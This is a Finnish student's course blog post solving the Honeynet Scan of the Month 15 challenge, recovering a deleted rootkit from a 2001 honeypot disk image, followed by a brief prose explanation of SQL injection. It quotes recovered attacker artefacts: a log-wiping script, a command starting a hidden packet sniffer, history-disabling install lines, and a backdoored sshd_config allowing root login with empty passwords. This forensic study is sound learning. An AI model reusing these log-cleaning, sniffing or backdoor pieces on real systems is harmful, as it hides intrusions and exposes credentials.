Rootkittia mä metsästän… Tahdon saada suuren.

Tämän viikon tehtävän anto kuuluu:

”h3: a) Ratkaise HoneyNet Scan of the Month 15.

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

ps. Käsittele haittaohjelmia sisältäviä levykuvia huolellisesti, älä laita niitä tuotantokoneille äläkä aja niiltä löytyviä ohjelmia. Noudata hyviä tapoja ja lakeja, älä hyökkää kenenkään koneisiin. Katso myös http://terokarvinen.com/2013/forensic-file-recovery-with-linux

ps2. Jos on vaikea valita tutustuttava hyökkäys, tutustu SQL injektioon.”

The Challenge:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly recommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partition for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

  1. Show step by step how you identify and recover the deleted rootkit from the / partition.

  2. What files make up the deleted rootkit?

Bonus Question:

Was the rootkit ever actually installed on the system? How do you know?”

Klo 18.30 Ti

Aloitin hommat aluksi ihan sillä että latasin tehtävään tarvittavan tiedoston HoneyNetin sivulta http://old.honeynet.org/scans/scan15/ tiedoston honeynet.tar.gz.

Latasin tiedoston poikkeuksellisesti graafiselta puolelta ja extractoin sen tämän jälkeen, tämä onnistui ihan vain klikkaamalla tiedosto linkkiä HoneyNetin sivuilta, jolloin aukesi graafinen tiedoston latausohjelma ja josta asensin ja purin tiedoston kotihakemistoon Virtual Box Ubuntussa. Tätä ennen tosin kyllä päivitin Ubuntun paketit ja asentelin päivitykset $ apt-get update ja tämän jälkeen $ apt-get upgrade

Näiden vaiheiden jälkeen mounttasin honeynet tiedoston komennolla $ sudo mount -o loop honeypot.hda8.dd /mnt ja koska olin kotihakemistossa siirryin suoraan $ cd mnt hakemistoon ja $ ls -l jälkeen silmäilin hakemistoja olivat honeypotin sisällä.Siirryinn ensimmäiseksi tarkkailemaan /tmp hakemiston install.logia. Selatessa lokia ainoa joka pisti silmään oli Installing ElectricFence merkintä. Pienen googlettelun jälkeen pohdimme yhdessä tutorini kanssa olisiko ElectricFenceä käytetty mahdollisesti rootkitin löytämiseen tai onko sitä mahdollisesti käytetty rootkitin toimesta reikien tai virheiden etsimiseen jolla koneen haavoittuvuuksia voisi tutkia. Jätimme pohdinnan kuitenkin tähän ja siirryin eteenpäin tiedostojen tutkimisessa.

Siirryin tämän jälkeen bin hakemistoon ja komennolla $ ls -s -lt pistin tiedostot aikajärjestykseen. Ainot jotka sieltä pistävät silmään ovat kaksi ensimmäistä maali (35300 maali 16  2001 netstat, 33280 maali 16  2001 ps), pysähdyin miettimään tässä että ovatko nuo aiemmin mainitut niitä joita rootkit on muokannut, vai ovatko kaikki nuo maalis 15 tiedostot niitä joita rootkit on muokannut ja maalis 16 sitten niitä joilla on rootkit korvattu.

Todettuani että yksittäinen selaaminen on työlästä, asensin autopsyn komentorivin kautta $ sudo apt-get install autopsy. Asennettuani sen käynnistin sen selaimessa ja suoritin sen pyytämät toimenpiteet kuten tutkimuksen alla olevan tapauksen nimi ja tutkijoiden nimet, sekä imagen laittaminen siihen selaimen kautta. Tämän jälkeen aloin selaamaan tiedostoja autopsyn kautta, etsien merkkejä ”omituisuuksista”. Ensi töikseni selasin poistetuiksi merkityt tiedostot lk.tgz ja last/ mutta tiedostojen sisältö olisi pitänyt purkaa jotta sitä voisi lukea, jatkoin eteenpäin toistaiseksi. Sen sijaan siirryin listan ensimmäisiin tiedostoihin, kun olin ryhmitellyt ne päivämäärän mukaan. Rupesin selaamaan $OrphanFiles/ ja sen alla olevista tiedostoista numerosta OrphanFile-2043 löytyikin jotain hieman outoa. En kovin hyvin ymmärrä ehtoja basheissa tms, mutta tästä tekstin pätkästä kyllä kävi selväksi se että viimeisimmät lokit muutetaan ja poistetaan tässä kohtaan.

Contents Of File: /1/$OrphanFiles/OrphanFile-2043

WERD=$(/bin/ls -F /var/log | grep -v ”/” | grep -v ”*” | grep -v ”.tgz” | grep -v ”.gz” | grep -v ”.tar” | grep -v ”lastlog” | grep -v ”utmp” | grep -v ”wtmp” | grep -v ”@”)

for fil in $WERD

do

line=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

echo -n ”${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}…${RES}”

grep -v $1 /var/log/$fil > new

touch -r /var/log/$fil new

mv -f new /var/log/$fil

newline=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

let linedel=$(($line-$newline))

echo ”${WHI}$linedel ${DWHI}lines removed!${RES}”

done

killall -HUP syslogd

echo ”${BLK}* ${DWHI}Alles sauber mein Meister !’Q%&@$! ${RES}”

Kuten tästä viimeisestä echosta voi päätellä, en usko että ”Kaikki puhdistettu herrani!” saksaksi kuuluu normaalisti mihinkään Linuxin tiedostoihin tai lokien. Tässä kohtaa uskaltaisin sanoa rootkitin lähinnä siivonneen jälkiään. jatkoin Orphanin tiedostojen setvimistä ja löysin sellaisen jonka ensimmäisen

#!/bin/sh clear unset HISTFILE kommentin jälkeen uskalsin todeta että mieron tieltä on nämä tiedot tulleet. Btw. on muuten hillintö nakella joitakin lauseita tuolta google translateen; ”Instalarea Rootkitului A Pornit La Drum – Asentaminen Rootkitului lähteä reissuun” Marvelous!

Kello lähenee puolta 9 illalla, joten hyvä aika lopetella ja siirtyä saunomaan.

Ke 5.2 klo 18

Seuraava outous tuli eteen tiedostossa OrphanFile-2059,

Contents Of File: /1/$OrphanFiles/OrphanFile-2059

killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

En ole erityisen perehtynyt haittaohjelmiin mutta jostain syystä linsniffer osui heti silmiini epäilyttävänä. Googlettelin hetken ja löysin tämän quoten: “linsniffer is an ethernet sniffer. It sits and listens on a network and grabs every packet it sees. This is why ssh is a good thing…” –Doug Elznic

Eli selkeästi: Ei hyvä homma!

Tässä vaiheessa kuitenkin löi seinä vastaan ja en onnistunut löytämään silmin mitään epäilyttävää tiedostoista tämän jälkeen. Päätin opettajan neuvosta ottaa vaarin ja hieman avittaa itseäni eteenpäin. Ilmeisesti ainakin honeynetin mallivastaukseksi nostetussa tapauksessa tekijä Brian Carrier käytti useampaakin työkalua etsiessään rootkittiä. Pyörittelin tätä hetken aikaa ja lopulta palasin suosiolla takaisin autopsyn pariin. Tutor vinkkasi korvan takaa että jos katsoisin uudelleen poistettuja tiedostoja autopsysta, joten siirryin suosiolla sinne. Poistettujen tiedostojen joukosta löytyi jo aiemmin epäilyttävä löytämäni tiedostot sekä muutamat lisää. Muun muassa alla olevassa orphan tiedostossa löytyy vaihteeksi Romaniaksi tekstiä, jossa raa’asti käännettynä kerrotaan rootkitin asentamisesta.

unset HISTFILE
echo    ”********* Instalarea Rootkitului A Pornit La Drum *********”
echo    ”********* Mircea SUGI PULA ********************************”
echo    ”********* Multumiri La Toti Care M-Au Ajutat **************”
echo    ”********* Lemme Give You A Tip : **************************”
echo    ”********* Ignore everything, call your freedom ************”
echo    ”********* Scream & swear as much as you can ***************”
echo    ”********* Cuz anyway nobody will hear you and no one will *”
echo    ”********* Care about you **********************************”

Yllä oleva maalaa melko selkeän kuvan siitä mitä tapahtuu tai tapahtui ja sen aiheuttamasta ylimielisyydestä.

Myös jälleen linsniffer pisti silmään tästä 1/$OrphanFiles/OrphanFile-2045 tiedostosta;

Contents Of File: /1/$OrphanFiles/OrphanFile-2045

!/bin/sh

cd /dev/ida/.drag-on

./mkxfs -f ./s

./linsniffer >> ./tcp.log &

cd /

Tämän jälkeen siirryin hakemistoon /1/lk.tgz jonka purettuani autopsyn kautta suoraan, sisältä löytyi melkoisesti epäilyttävän näköisiä tiedostoja saksankielisine herjoineen ja siivous hurraa huutoineen. Käytännössä täältä löytyi rootkitin asennushakemisto. Kaikesta päätellen rootkit on asentunut 3 maaliskuuta 2001. Täältä myös sshd_configista löytyi porttien kuuntelua, root oikeuksien jakamista ja muuta mukavaa.

Port 22

ListenAddress 0.0.0.0

HostKey /dev/ida/.drag-on/

RandomSeed /dev/ida/.drag-on/

ServerKeyBits 768

LoginGraceTime 600

KeyRegenerationInterval 3600

PermitRootLogin yes

IgnoreRhosts no

StrictModes yes

QuietMode no

X11Forwarding yes

X11DisplayOffset 10

FascistLogging no

PrintMotd yes

KeepAlive yes

SyslogFacility DAEMON

RhostsAuthentication no

RhostsRSAAuthentication yes

RSAAuthentication yes

PasswordAuthentication yes

PermitEmptyPasswords yes

UseLogin no

# CheckMail no

PidFile /dev/ida/.drag-on/pidfile

# AllowHosts *.our.com friend.other.com

# DenyHosts lowsecurity.theirs.com *.evil.org evil.org

# Umask 022

# SilentDeny yes

Yritin etsiä alkuperäistä sshd_configia, mutta en onnistunut sitä kaivelun jälkeen löytämään. Teoriani siis on että rootkit korvasi alkuperäisen omallaan, muutosten kera. Toinen teoria on että olen vain puusilmä.

Rootkitin asennuksen palauttaminen ei periaatteessa muuta vaatinut kuin tuon /1/lk.tgz hakemiston exporttaamisen, josta löytyi ns. kaikki tarvittava. Taitoni eivät olleet kyllä mitenkään tehtävän tasolla, mutta semmoista se on joskus. Täytyneen selkeästi perehtyä enemmän haittaohjelmien maailmaan.

Näihin tunnelmiin jää tämä osuus, seuraavaksi toinen osa tehtävästä.

Klo 20.40

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

Sql injektio toimii käytännössä niin, että esimerkiksi nettilomakkeeseen jossa kysytään yhteystietoja tallennettavaksi sivustolle, kirjoitatkin sql komennon joka esimerkiksi poistaa kaikki nimi-taulun tiedot. Tai sitten kopioi tietoja, joka voi vahingoittaa yritystä merkittävästi. Esimerkiksi asiakkaiden sähköpostien tai puhelinnumeroiden, luottokorttinumeroista puhumattakaan, vuotaminen ulkopuolisille harvemmin tuo yritykselle hyvää mainetta tai lisää asiakkaita. Käytännössä hyökkääjä käyttää sivuston tietoturva reikää hyväkseen, injektoidakseen sinne haluamaansa dataa, joko tuhoamalla, kopioimalla tai muuttamalla tietokannassa olevia tietoja. Tietoturva-aukon hyväksikäyttäminen on hyvinkin helppoa ja sen havaitseminen testauksessa voi olla hyvinkin hankalaa. On kuitenkin skannereita ja ohjelmia olemassa, joiden avulla voi havaita tämän kaltaisia tietoturvariskejä hyvissä ajoin.

Mitä SQL-injektioon tulee, niin tämä tuli heti ensimmäisenä esimerkkinä mieleen. 😀 Enjoy!

Exploits of a Mom

http://xkcd.com/327/

Lähteet:

Jätä kommentti